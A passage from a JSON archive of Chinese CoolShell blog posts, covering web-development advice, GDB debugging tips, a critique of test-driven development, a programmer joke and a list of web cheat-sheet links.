[Google Analytics](http://www.google.com/analytics/)  (或是别的开源的网站分析工具，如： [Piwik](http://piwik.org/)).\n\n\n* 了解 [robots.txt](http://en.wikipedia.org/wiki/Robots_exclusion_standard) 和搜索引擎爬虫是如何工作的。\n\n\n* 重定向请求 (使用 `301 重定向网站`) ，如果你要把 `www.example.com` 定向到 `example.com`(或是其它的变更) 这样可以防止Google的rank因为域名的变化发生改变。（陈皓注：301重定向一般用作域名变更）\n\n\n* 知道并不是所有的爬虫都是好的，有些爬虫的行为并不好。（陈皓注：比如向你的网站发大量的请求导致服务器性能低下）\n\n\n* 如果你有一些非文本的内容需要在 Google’s sitemap  中，比如视频什么的。[Tim Farley的答案](http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#167608)，可以让你看到很多有价值的东西。\n\n\n#### **技术**\n\n\n* 理解什么是 [HTTP](http://www.ietf.org/rfc/rfc2616.txt) 比如 GET, POST, sessions, cookies等，了解什么是 “stateless” 无状态。\n\n\n* 让你的 [XHTML](http://www.w3.org/TR/xhtml1/)/[HTML](http://www.w3.org/TR/REC-html40/) 和 [CSS](http://www.w3.org/TR/CSS2/) 符合 [W3C 规范](http://www.w3.org/TR/)，并确认他们都是 [合格的](http://validator.w3.org/)。我们的目标是避免浏览器的 “quirks mode”，并且可以让其更容易地能和非标准的浏览器工作，比如读屏器或移动设备。\n\n\n* 理解浏览器是怎么处理 JavaScript 的。（陈皓：你会看到有些Javascript代码在页面上前面，有些则是在后面，所以你需要对其了解清楚为什么是这样）\n\n\n* 了解浏览器是怎么装载 JavaScript，CSS和其它资源的，了解其对视觉上的影响。（陈皓注：10年前我做网页的时候因为HTML还很弱，所以只能使用table来布局，使用table布局的问题就是整个table读完后页面才会显示，用户的视觉体验并不好）。在某些情况下，你可能需要[把你的脚本放在页面的后面](http://developer.yahoo.net/blog/archives/2007/07/high_performanc_5.html)。\n\n\n* 理解 JavaScript 的 sandbox 是怎么怎么工作的，尤其是你想使用iframes。\n\n\n* 请注意 JavaScript 可能会被禁止，这样会让你的AJAX失效。就算是大多数用户都开启了Javascript功能，但是也可能在一些情况下脚本是不被运行的，比如移动终端上，搜索引擎抓网页的时候也并不会执行你的脚本。\n\n\n* 学习 [301 和 302 转向的区别](http://www.bigoakinc.com/blog/when-to-use-a-301-vs-302-redirect/) (这也是一个SEO的问题).\n\n\n* 尽可能多地学习你的部署平台。（比如：操作系统，Web Server：Apache/Nginx，防火墙，数据库，等等）\n\n\n* 考虑使用一个 [Reset Style Sheet](http://stackoverflow.com/questions/167531/is-it-ok-to-use-a-css-reset-stylesheet).\n\n\n* 考虑使用 JavaScript 框架(如： [jQuery](http://jquery.com/), [MooTools](http://mootools.net/), [Prototype](http://www.prototypejs.org/), [Dojo](http://dojotoolkit.org/) 或 [YUI 3](http://developer.yahoo.com/yui/3/))，它们会很好的兼容于不同的浏览器。（陈皓注：强烈推荐你看一下本站的[开源中最好的WEB开发资源](https://coolshell.cn/articles/4795.html \"开源中最好的Web开发的资源\")一文）\n\n\n* 把视觉效果和JS框架合在一起讨论，考虑使用一个Service，如：[Google Libraries API](http://code.google.com/apis/libraries/devguide.html) 来装载框架，这样可以让浏览器可能早就把这个JS框架已经cache了而不需要再从你的网站上下载了。\n\n\n#### **Bug fixing**\n\n\n* 明白你会花20%的时间写代码，而80%的时候在维护，所以你要小心编码。（陈皓注：参看本站的“[多些时间可以少些代码](https://coolshell.cn/articles/5686.html \"多些时间能少写些代码\")”一文）\n\n\n* 设计一个好的错误报告机制。\n\n\n* 设计一个入口可以让人们联系到你并给你建议和批评。\n\n\n* 为你开发的东西形成文档，这样可以让后来的人容易维护你的软件和系统。\n\n\n* 频繁备份（也可确保你的这些备份功能正常） [Ed Lucas 的回答](http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#73970) 有一些忠告。你还需要有一个恢复策略，而不只是一个备份策略。\n\n\n* 使用一个版本控制系统来保存你的代码，如： [Subversion](http://subversion.apache.org/) 或 [Git](http://git-scm.org/).\n\n\n* 别忘了做Acceptance Testing，使用 [Selenium](http://seleniumhq.org/) 能帮到你。\n\n\n* 确保你有足够的日志，你可以使用 log4j, log4n 或 log4r。如果出了问题，这是可以让你快速找到问题的方式。\n\n\n* 当你写日志的时候，确保你记录了你捕获了处理和未处理异常。报告和分析日志可以让你知道你网站的问题。\n\n\n这里有多的东西被省略了，并不是因为那些可能不是有帮助的答案，而是因为那些东西都太细节了，超出了这个问题的范围，因为这本来就是一个Web开发需要了解东西的Overview。我想你可以去看一下其它人的答案，我有时间，我也会补充别人的答案进来。请随意编辑这个答案，因为可能有些东西忘了，也有可能有些东西不对。\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\nThe post [Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-10 GDB中应该知道的几个调试方法.md",
    "content": "---\nlayout: post\ntitle: GDB中应该知道的几个调试方法\ndate: 2011/2/10/ 1:34:8\nupdated: 2011/2/10/ 1:34:8\nstatus: publish\npublished: true\ntype: post\n---\n\n七、八年前写过一篇《[用GDB调试程序](http://blog.csdn.net/haoel/archive/2003/07/02/2879.aspx)》，于是，从那以后，很多朋友在MSN上以及给我发邮件询问我关于GDB的问题，一直到今天，还有人在问GDB的相关问题。这么多年来，有一些问题是大家反复在问的，一方面，我觉得我以前的文章可能没有说清楚，另一方面，我觉得大家常问的问题正是最有用的，所以，在这里罗列出来。希望大家补充。\n\n\n#### 一、多线程调试\n\n\n多线程调试可能是问得最多的。其实，重要就是下面几个命令：\n\n\n* info thread 查看当前进程的线程。\n* thread <ID> 切换调试的线程为指定ID的线程。\n* break file.c:100 thread all  在file.c文件第100行处为所有经过这里的线程设置断点。\n* set scheduler-locking off|on|step，这个是问得最多的。在使用step或者continue命令调试当前被调试线程的时候，其他线程也是同时执行的，怎么只让被调试程序执行呢？通过这个命令就可以实现这个需求。\n\t+ off 不锁定任何线程，也就是所有线程都执行，这是默认值。\n\t+ on 只有当前被调试程序会执行。\n\t+ step 在单步的时候，除了next过一个函数的情况(熟悉情况的人可能知道，这其实是一个设置断点然后continue的行为)以外，只有当前线程会执行。\n\n\n#### 二、调试宏\n\n\n这个问题超多。在GDB下，我们无法print宏定义，因为宏是预编译的。但是我们还是有办法来调试宏，这个需要GCC的配合。\n\n\n在GCC编译程序的时候，加上**-ggdb3**参数，这样，你就可以调试宏了。\n\n\n另外，你可以使用下述的GDB的宏调试命令 来查看相关的宏。\n\n\n* info macro – 你可以查看这个宏在哪些文件里被引用了，以及宏定义是什么样的。\n* macro – 你可以查看宏展开的样子。\n\n\n\n#### 三、源文件\n\n\n这个问题问的也是很多的，太多的朋友都说找不到源文件。在这里我想提醒大家做下面的检查：\n\n\n1. 编译程序员是否加上了-g参数以包含debug信息。\n2. 路径是否设置正确了。使用GDB的directory命令来设置源文件的目录。\n\n\n下面给一个调试/bin/ls的示例（ubuntu下）\n\n\n\n```\n$ apt-get source coreutils\n$ sudo apt-get install coreutils-dbgsym\n$ gdb /bin/ls\nGNU gdb (GDB) 7.1-ubuntu\n(gdb) list main\n1192    ls.c: No such file or directory.\nin ls.c\n(gdb) directory ~/src/coreutils-7.4/src/\nSource directories searched: /home/hchen/src/coreutils-7.4:$cdir:$cwd\n(gdb) list main\n1192        }\n1193    }\n1194\n1195    int\n1196    main (int argc, char **argv)\n1197    {\n1198      int i;\n1199      struct pending *thispend;\n1200      int n_files;\n1201\n```\n\n#### 四、条件断点\n\n\n条件断点是语法是：break  [where] if [condition]，这种断点真是非常管用。尤其是在一个循环或递归中，或是要监视某个变量。注意，这个设置是在GDB中的，只不过每经过那个断点时GDB会帮你检查一下条件是否满足。\n\n\n#### 五、命令行参数\n\n\n有时候，我们需要调试的程序需要有命令行参数，很多朋友都不知道怎么设置调试的程序的命令行参数。其实，有两种方法：\n\n\n1. gdb命令行的 –args 参数\n2. gdb环境中 set args命令。\n\n\n#### 六、gdb的变量\n\n\n有时候，在调试程序时，我们不单单只是查看运行时的变量，我们还可以直接设置程序中的变量，以模拟一些很难在测试中出现的情况，比较一些出错，或是switch的分支语句。使用set命令可以修改程序中的变量。\n\n\n另外，你知道gdb中也可以有变量吗？就像shell一样，gdb中的变量以$开头，比如你想打印一个数组中的个个元素，你可以这样：\n\n\n\n```\n(gdb) set $i = 0\n\n(gdb) p a[$i++]\n\n...  #然后就一路回车下去了\n\n\n```\n\n当然，这里只是给一个示例，表示程序的变量和gdb的变量是可以交互的。\n\n\n#### 七、x命令\n\n\n也许，你很喜欢用p命令。所以，当你不知道变量名的时候，你可能会手足无措，因为p命令总是需要一个变量名的。x命令是用来查看内存的，在gdb中 “help x” 你可以查看其帮助。\n\n\n* x/x 以十六进制输出\n* x/d 以十进制输出\n* x/c 以单字符输出\n* x/i  反汇编 – 通常，我们会使用 `x/10i $ip-20 来查看当前的汇编（$ip是指令寄存器）`\n* x/s 以字符串输出\n\n\n#### 八、command命令\n\n\n有一些朋友问我如何自动化调试。这里向大家介绍command命令，简单的理解一下，其就是把一组gdb的命令打包，有点像字处理软件的“宏”。下面是一个示例：\n\n\n\n```\n(gdb) break func\nBreakpoint 1 at 0x3475678: file test.c, line 12.\n(gdb) command 1\nType commands for when breakpoint 1 is hit, one per line.\nEnd with a line saying just \"end\".\n>print arg1\n>print arg2\n>print arg3\n>end\n(gdb)\n```\n\n当我们的断点到达时，自动执行command中的三个命令，把func的三个参数值打出来。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1525.html)[GDB 7.0 发布](https://coolshell.cn/articles/1525.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/1502.html)[高科技：GDB回溯调试](https://coolshell.cn/articles/1502.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![史上最烂的超级玛丽](../wp-content/uploads/2010/08/super_mario-150x150.jpg)](https://coolshell.cn/articles/2834.html)[史上最烂的超级玛丽](https://coolshell.cn/articles/2834.html)\n* [![140个Google的面试题](../wp-content/uploads/2010/12/googlequestion-150x150.jpg)](https://coolshell.cn/articles/3345.html)[140个Google的面试题](https://coolshell.cn/articles/3345.html)\n* [![程序员版的凡客](../wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg)](https://coolshell.cn/articles/2806.html)[程序员版的凡客](https://coolshell.cn/articles/2806.html)\nThe post [GDB中应该知道的几个调试方法](https://coolshell.cn/articles/3643.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-12 TDD并不是看上去的那么美.md",
    "content": "---\nlayout: post\ntitle: TDD并不是看上去的那么美\ndate: 2011/2/12/ 0:48:16\nupdated: 2011/2/12/ 0:48:16\nstatus: publish\npublished: true\ntype: post\n---\n\n春节前的一篇[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html \"那些炒作过度的技术和概念\")中对敏捷和中国ThoughtWorks的微辞引发了很多争议，也惊动了中国ThoughtWorks公司给我发来了邮件想来找我当面聊聊。对于Agile的Fans们，意料之中地也对我进行了很多质疑和批评。我也回复了许多评论。不过，我的那些回复都是关于中国ThoughtWorks咨询师以及其咨询的方法的。我对Agile方法论中的具体内容评价的不是很多，所以，我想不妨讨论一下Agile方法论中的具体的实践（以前本站也讨论过[结对编程的利与弊](https://coolshell.cn/articles/16.html)）。\n\n\n那么，这次就说说TDD吧，这是ThoughtWorks中国和Agile的Fans们最喜欢的东西了。我在[原来的那篇文章](https://coolshell.cn/articles/3609.html)中，我把TDD从过度炒作的技术剔除了出去，因为我还是觉得TDD有些道理的，不过，回顾我的经验，我也并不是很喜欢TDD。我这篇文章是想告诉大家，**TDD并没有看上去的那么美，而且非常难以掌控，并且，这个方法是有悖论之处的**。\n\n\n#### TDD简介\n\n\n[TDD](http://en.wikipedia.org/wiki/Test-driven_development)全称Test Driven Development，是一种软件开发的流程，其由敏捷的“[极限编程](http://en.wikipedia.org/wiki/Extreme_programming)”引入。其开发过程是从功能需求的test case开始，先添加一个test case，然后运行所有的test case看看有没有问题，再实现test case所要测试的功能，然后再运行test case，查看是否有case失败，然后重构代码，再重复以上步骤。其理念主要是确保两件事：\n\n\n* 确保所有的需求都能被照顾到。\n* 在代码不断增加和重构的过程中，可以检查所有的功能是否正确。\n\n\n我不否认TDD的一些有用的地方，如果我们以Test Case 开始，那么，我们就可以立刻知道我们的代码运行的情况是什么样的，这样可以让我们更早地得到我们实现思路的反馈，于是我们更会有信心去重构，去重新设计，从而可以让我们的代码更为正确。\n\n\n不过，我想提醒的是，**TDD和Unit Test是两码子事儿**。有很多人可能混淆了自动化的Unit Test（如：XUnit系例）和TDD的软件开发过程。另外，可能还会有人向鼓吹“**TDD让你进行自顶向下的设计方式**”，对此，请参阅本站的《[Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html)》——NASA的挑战者号告诉你自顶向下设计的危险性。\n\n\n#### TDD的困难之处\n\n\n下面是几个我认为TDD不容易掌控的地方，甚至就有些不可能（如果有某某TDD的Fans或是ThoughtWorks的咨询师和你鼓吹TDD，你可以问问他们下面这些问题）\n\n\n* **测试范围的确定**。TDD开发流程，一般是先写Test Case。Test Case有很多种，有Functional的，有Unit的，有Integration的……，最难的是Test Case要写成什么样的程度呢。  \n\n\n\n\n\t+ 如果写的太过High Level，那么，当你的Test Case 失败的时候，你不知道哪里出问题了，你得要花很多精力去debug代码。而我们希望的是其能够告诉我是哪个模块出的问题。只有High Level的Test Case，岂不就是Waterfall中的Test环节?\n\t+ 如果写的太过Low Level，那么，带来的问题是，你需要花两倍的时间来维护你的代码，一份给test case，一份给实现的功能代码。\n\t+ 另外，如果写得太Low Level，根据Agile的迭代开发来说，你的需求是易变的，很多时候，我们的需求都是开发人员自己做的Assumption。所以，你把Test Case 写得越细，将来，一旦需求或Assumption发生变化，你的维护成本也是成级数增加的。\n\t+ 当然，如果我把一个功能或模块实现好了，我当然知道Test 的Scope在哪里，我也知道我的Test Case需要写成什么样的程度。但是，**TDD的悖论就在于，你在实现之前先把Test Case就写出来，所以，你怎么能保证你一开始的Test Case是适合于你后面的代码的**？不要忘了，程序员也是在开发的过程中逐渐了解需求和系统的。如果边实现边调整Test Case，为什么不在实现完后再写Test Case呢？如果是这样的话，那就不是TDD了。\n\n\n* **关注测试而不是设计**。这可能是TDD的一个弊端，就像《[十条不错的编程观点](https://coolshell.cn/articles/2424.html \"十条不错的编程观点\")》中所说的一样——“Unit Test won’t help you write the good code”，在实际的操作过程中，我看到很多程序员为了赶工或是应付工作，**导致其写的代码是为了满足测试的，而忽略了代码质量和实际需求**。有时候，当我们重构代码或是fix bug的时候，甚至导致程序员认为只要所有的Test Case都通过了，代码就是正确的。当然，TDD的粉丝们一定会有下面的辩解：\n\n\n\t+ 可以通过结对编程来保证代码质量。\n\t+ 代码一开始就是需要满足功能正确，后面才是重构和调优，而TDD正好让你的重构和优化不会以牺牲功能为代价。\n\n\n说的没错，但仅在理论上。操作起来可能会并不会得到期望的结果。1）“结对编程”其并不能保证结对的两个人都不会以满足测试为目的，因为重构或是优化的过程中，一旦程序员看到N多的test cases 都failed了，人是会紧张的，你会不自然地去fix你的代码以让所有的test case都通过。2）另外，我不知道大家怎么编程，我一般的做法是从大局思考一下各种可行的实现方案，对于一些难点需要实际地去编程试试，最后权衡比较，挑选一个最好的方案去实现。而往往着急着去实现某一功能，通常在会导致的是返工，而后面的重构基本上因为前期考虑不足和成为了重写。所以，在实际操作过程中，你会发现，很多时候的重构通常意味着重写，因为那些”非功能性”的需求，你不得不re-design。而re-design往往意味着，你要重写很多Low-Level的Test Cases，搞得你只敢写High Level的Test Case。\n\n\n\n* **TDD导致大量的Mock和Stub**。相信我，Test Case并不一定是那么容易的。比如，和其它团队或是系统的接口的对接，或是对实现还不是很清楚的模块，等等。于是你需要在你的代码中做很多的Mock和Stub，甚至fake一些函数来做模拟，很明显，你需要作大量的 assumption。于是，你发现管理和维护这些Mock和Stub也成了一种负担，最要命的是，那不是真正的集成测试，你的Test Case中的Mock很可能是错的，你需要重写他们。\n\n\n也许，你会说，就算是不用TDD，在正常的开发过程中，我们的确需要使用Mock和Stub。没错！的确是这样的，不过，记住，我们是在实现代码后来决定什么地方放一个Mock或Stub，而不是在代码实现前干这个事的。\n\n\n* **Test Case并没有想像中的那么简单**。和Waterfall一样，Waterfall的每一个环节都依赖于前面那个环节的正确性，如果我们没有正确的理解需求，那么对于TDD，Test Case和我们的Code都会的错的。所以，TDD中，Test Case是开发中最重要的环节，Test Case的质量的问题会直接导致软件开发的正确和效率。**而TW的咨询师和Agile的Fans们似乎天生就认为，TDD比Waterfall更能准确地了解需求。如果真是这样，用TDD进行需求分析，后面直接Waterfall就OK了**。\n\n\n另外，某些Test Case并不一定那么好写，你可能80%的编程时间需要花在某个Test Case的设计和实现上（比如：测试并发），然后，需求一变，你又得重写Test Case。有时候，你会发现写Test Case其实和做实际设计没有差别，你同样要考虑你Test Case的正确性，扩展性，易读性，易维护性，甚至重用性。**如果说我们开发的Test Case是用来保证我们代码实现的正确性，那么，谁又来保证我们的Test Case的正确性呢**？编写Test Case也需要结对或是Code review吗？软件开发有点像长跑，如果把能量花在了前半程，后半程在发力就能难了。\n\n\n也许，TDD真是过度炒作的，不过，我还真是见过使用TDD开发的不错的项目，只不过那个项目比较简单了。更多的情况下，我看到的是教条式的生硬的TDD，所以，不奇怪地听到了程序员们的抱怨——“自从用了TDD，工作量更大了”。当然，这也不能怪他们，TDD本来就是很难把控的方法。这里送给软件开发管理者们一句话——“**当你的软件开发出现问题的时候，就像bug-fix一样，首要的事是找到root cause，然后再case by case的解决，千万不要因为有问题就要马上换一种新的开发方法**”。相信我，大多数的问题是人和管理者的问题，不是方法的问题。\n\n\n（**全文完，转载请注明作者和出处，请勿用于商业用途**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/3778.html)[敏捷水管工](https://coolshell.cn/articles/3778.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg](https://coolshell.cn/articles/3745.html)[再谈敏捷和ThoughtWorks中国咨询师](https://coolshell.cn/articles/3745.html)\nThe post [TDD并不是看上去的那么美](https://coolshell.cn/articles/3649.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-12 为啥搞电脑的会有这么多空闲时间？.md",
    "content": "---\nlayout: post\ntitle: 为啥搞电脑的会有这么多空闲时间？\ndate: 2011/2/12/ 10:3:11\nupdated: 2011/2/12/ 10:3:11\nstatus: publish\npublished: true\ntype: post\n---\n\n[![](../wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png \"reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time\")](https://coolshell.cn/wp-content/uploads/2011/02/reasons_why_people_who_work_with_computers_seem_to_have_a_lot_of_spare_time.png)\n\n\n解释一下：\n\n\n\n* Web程序员—— “正在上传中……”\n* 系统管理员——“正在启动中……”\n* 黑客——“黑客脚本放出去了……”\n* 3D动画制作——“正在渲染中……”\n* 咨询顾问——“现在是你的问题了……”\n* 程序员——“正在编译中……”\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [为啥搞电脑的会有这么多空闲时间？](https://coolshell.cn/articles/3672.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-2-16 Web开发人员速查卡.md",
    "content": "---\nlayout: post\ntitle: Web开发人员速查卡\ndate: 2011/2/16/ 10:59:6\nupdated: 2011/2/16/ 10:59:6\nstatus: publish\npublished: true\ntype: post\n---\n\n无论你是多牛的程序员，你都无法记住所有的东西。而很多时候，查找某些知识又比较费事。所以，网上有很多Cheat Sheets，翻译成小抄也好 ，速查卡也好，总之就是帮你节省 时间的。之前给大家介绍过[Web设计的速查卡](https://coolshell.cn/articles/870.html)、[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)，还有[程序员小抄大全](https://coolshell.cn/articles/1566.html)，今天转一篇开发人员的速查卡，[源文在这里](http://www.topdesignmag.com/all-the-cheat-sheets-that-a-web-developer-needs/)。下面的文章我就不翻译了。\n\n\nHTML Cheat Sheet\n----------------\n\n\n![](../wp-content/uploads/2011/01/1128.jpg \"1\")\n\n\n* [HTML/XTML in one page](http://www.html.su/)\n* [HTML5: The Evolution of Web Standards by James Sugrue](http://refcardz.dzone.com/refcardz/html5-new-standards-web-interactivity)\n* [(X)HTML Elements and Attributes](http://www.elizabethcastro.com/html/extras/xhtml_ref.html)\n* [Doctype Declarations (DTDs)](http://www.w3.org/QA/2002/04/valid-dtd-list.html)\n* [XHTML Character Entity Reference](http://www.digitalmediaminute.com/reference/entity/index.php)\n* [GoSquared HTML Help Sheet](http://downloads.gosquared.com/help_sheets/08/HTML-Help-Sheet-02.jpg)\n\n\n\n\nCSS Cheat Sheets\n----------------\n\n\n![](../wp-content/uploads/2011/01/2104.jpg \"2\")\n\n\n* [CSS in one page](http://www.css.su/)\n* [CSS Properties and Values](http://www.elizabethcastro.com/html/extras/cssref.html)\n* [All CSS Properties Listed Alphabetically](http://www.blooberry.com/indexdot/css/propindex/all.htm)\n* [CSS Shorthand Guide](http://www.dustindiaz.com/css-shorthand/)\n* [GoSquared CSS Help Sheet](http://www.gosquared.com/liquidicity/archives/1010)\n\n\nAdobe Flash Cheat Sheets\n------------------------\n\n\n![](../wp-content/uploads/2011/01/312.png \"3\")\n\n\n* [Flash Cheat Sheet](http://michaeldoyle.eu/blog/wp-content/uploads/2009/10/flash-cheat-sheet.pdf)\n* [Flash CS3 Keyboard Shortcuts](http://edutechwiki.unige.ch/en/Flash_CS3_keyboard_shortcuts)\n\n\n\n**ASP Cheat Sheets**\n--------------------\n\n\n\n* [Core ASP.NET](http://refcardz.dzone.com/refcardz/core-aspnet)\n* [ASP.NET MVC Framework Cheat Sheet](http://www.newdrp.com/Posters/Development/tabid/67/id/284/Default.aspx)\n* [ASP.NET MVC View Cheat Sheet](http://www.newdrp.com/Posters/Development/tabid/67/id/286/Default.aspx)\n\n\nPHP Cheat Sheets\n----------------\n\n\n![](../wp-content/uploads/2011/01/55.png \"5\")\n\n\n* [PHP Basics Quick Reference Sheet](http://www.dreamincode.net/forums/topic/35660-php-quick-reference-cheat-sheet/)\n* [PHP Cheat Sheet](http://www.digilife.be/quickreferences/QRC/PHP%20Cheat%20Sheet.pdf)\n* [PHP Security Cheat Sheet](http://www.sk89q.com/content/2010/04/phpsec_cheatsheet.pdf)\n* [PHP Variable and Array Tests](http://www.deformedweb.co.uk/php_variable_tests.php \"PHP Variable and Array Tests (php version 5.1.6) by Barry Hunter\")\n* [GoSquared PHP Help Sheet](http://downloads.gosquared.com/help_sheets/08/PHP-Help-Sheet-01.jpg)\n\n\nMySQL Cheat Sheets\n------------------\n\n\n![](../wp-content/uploads/2011/01/65.png \"6\")\n\n\n* [MySQL Cheat Sheet by Dave Child](http://www.addedbytes.com/cheat-sheets/mysql-cheat-sheet/)\n* [MySQL Database Quick Reference](http://www.cheat-sheets.org/saved-copy/MySQL_QuickRef.pdf)\n* [SQL Statements Cheat Sheet](http://www.sqltutorial.org/sql-cheat-sheet.aspx)\n\n\nJavaScript Cheat Sheets\n-----------------------\n\n\n![](../wp-content/uploads/2011/01/75.png \"7\")\n\n\n* [JavaScript in one page](http://www.javascript.su/)\n* [JavaScript Cheat Sheet](http://www.addedbytes.com/cheat-sheets/javascript-cheat-sheet/)\n* [Addison-Wesley’s JavaScript Reference Card](http://wps.aw.com/wps/media/objects/2234/2287950/javascript_refererence.pdf)\n\n\njQuery Cheat Sheets\n-------------------\n\n\n![](../wp-content/uploads/2011/01/85.png \"8\")\n\n\n* [jQuery Cheatsheet](http://colorcharge.com/jquery/)\n* [jQuery 1.3 Visual Cheat Sheet by Antonio Lupetti](http://woork.blogspot.com/2009/09/jquery-visual-cheat-sheet.html)\n* [jQuery Selectors by Bear Bibeault & Yehuda Katz](http://refcardz.dzone.com/refcardz/jquery-selectors)\n\n\nUnicode Cheat Sheets\n--------------------\n\n\n![](../wp-content/uploads/2011/01/97.png \"9\")\n\n\n* [The Unicode Character Code](http://www.utf.ru/)\n* [HTML Characters, Numeric Codes, 0-65535 by Bob Stein](http://www.visibone.com/htmlref/char/cer.htm)\n\n\nXML Cheat Sheets\n----------------\n\n\n![](../wp-content/uploads/2011/01/106.png \"10\")\n\n\n* [XML in one page](http://www.xml.su/)\n* [XML 1.0 Syntax Quick Reference by Mulberry Technologies](http://www.mulberrytech.com/quickref/XMLquickref.pdf)\n\n\nmod\\_rewrite and .htaccess Cheat Sheets\n---------------------------------------\n\n\n![](../wp-content/uploads/2011/01/1111.png \"11\")\n\n\n* [mod\\_rewrite Cheat Sheet by Dave Child](http://www.addedbytes.com/cheat-sheets/mod_rewrite-cheat-sheet/)\n* [htaccess Cheatsheet](http://www.thejackol.com/htaccess-cheatsheet/)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* 